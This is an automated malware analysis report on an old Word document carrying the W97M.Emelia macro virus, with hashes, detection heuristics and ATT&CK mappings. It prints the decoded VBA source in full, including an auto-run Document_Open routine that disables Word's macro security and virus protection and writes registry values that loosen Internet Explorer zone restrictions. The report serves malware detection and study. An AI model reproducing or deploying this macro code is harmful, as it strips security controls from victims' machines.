Office (OLE) malware analysis — malicious · 0eb1712242c6aa12

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-07-04 06:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 454d0c0f0b64ea2992c6125ca260d457 SHA-1: 009320318934d43df619b4010f96aa65621e2771 SHA-256: 0eb1712242c6aa12f30325a5b8c1bb4332ecc2e2e58603ab010d67862971f933

328 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1505.003 Server Software Component: Exploit Public-Facing Application

The sample contains a VBA macro named 'Document_Open' which is automatically executed upon opening the document. This macro uses 'WScript.Shell' to modify registry keys related to Internet Settings, likely to weaken security controls or facilitate further malicious activity. The ClamAV detection of 'Win.Trojan.Psycho-3' and 'Win.Trojan.Yozis-1' further indicates malicious intent.

Heuristics 7

ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Trojan.Psycho-3
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set WshShell = CreateObject("WScript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set WshShell = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

'======================================================
Private Sub Document_Open()
On Error Resume Next

Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1960 bytes
SHA-256: `8eb767338bdac5f1332814ea6e33b51b202ca8a609dbacde91139aad4c28d8cd`
Detection ClamAV: Win.Trojan.Yozis-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Emelia" '====================================================== ' W97M.Emelia by Dr Virus Quest ' Origin from Malaysia ' Copyright©1999 '====================================================== Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Call Payload End Sub Private Sub Payload() Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004", 0, "Emelia" WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200", 0, "Emy" WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201", 0, "Amy" WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1004", 0, "Emelia" WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200", 0, "Emy" WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1201", 0, "Amy" WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOwner", "Emelia" End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.